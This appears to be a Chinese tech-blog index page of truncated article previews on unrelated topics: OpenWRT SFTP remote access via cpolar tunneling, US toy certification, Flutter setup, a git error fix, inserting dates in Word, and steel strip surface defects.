文章目录 前言1. openssh-sftp-server 安装2. 安装cpolar工具3.配置SFTP远程访问4.固定远程连接地址 前言 本次教程我们将在OpenWRT上安装SFTP服务&#xff0c;并结合cpolar内网穿透&#xff0c;创建安全隧道映射22端口&#xff0c;实现在公网环境下远程OpenWRT SFTP&#xff…

在美国如何申请批准销售儿童玩具?提交哪些相关文件?需要的认证是?

在美国如何申请批准销售儿童玩具&#xff1f;提交哪些相关文件&#xff1f;需要的认证是&#xff1f;ASTM F963-17 ​在美国销售玩具 重要&#xff1a; 如果您要在亚马逊商城销售商品&#xff0c;则必须遵守适用于这些商品和商品信息的所有联邦、州和地方法律以及亚马逊政策。…

Flutter环境搭建及新建项目

一、下载安装压缩包 https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_3.10.6-stable.zip 二、解压缩 解压之后&#xff0c;将里面的flutter整体拿出来 三、配置环境变量 将flutter/bin全路径配置到系统环境变量里面 四、运行…

fatal: Not a git repository (or any parent up to mount point /home)解决方法

Git遇到一个问题&#xff1a; fatal: Not a git repository (or any parent up to mount point /home) Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set). 解决办法&#xff1a;git init 错误信息指出不是一个git仓库&#xff0c;或者它的父级目录…

轻松实现时间录入自由!如何在Microsoft Word中轻松插入格式化的日期和时间

在文档中插入当前日期和时间有几个原因。你可能希望将其插入信函或页眉或页脚中。无论是什么原因&#xff0c;Word都可以轻松地将日期和时间插入文档。 如果希望在打开或打印文档时自动更新日期和时间&#xff0c;可以将其作为自动更新的字段插入。该字段也可以随时手动更新。…

欠酸洗,异物压入,斑迹和脏污 学习笔记

欠酸洗&#xff1a; 带钢的宽度方向上&#xff0c;可能会出现在整个宽度或某个局部宽度区域的特殊分布。这种分布看起来像波浪或鱼鳞的痕迹。这种情况通常在带钢的开始和结束部分更为常见。 异物压入 通常&#xff0c;这种情况是由于圆点或小条状的粉尘和颗粒被压入所导致的…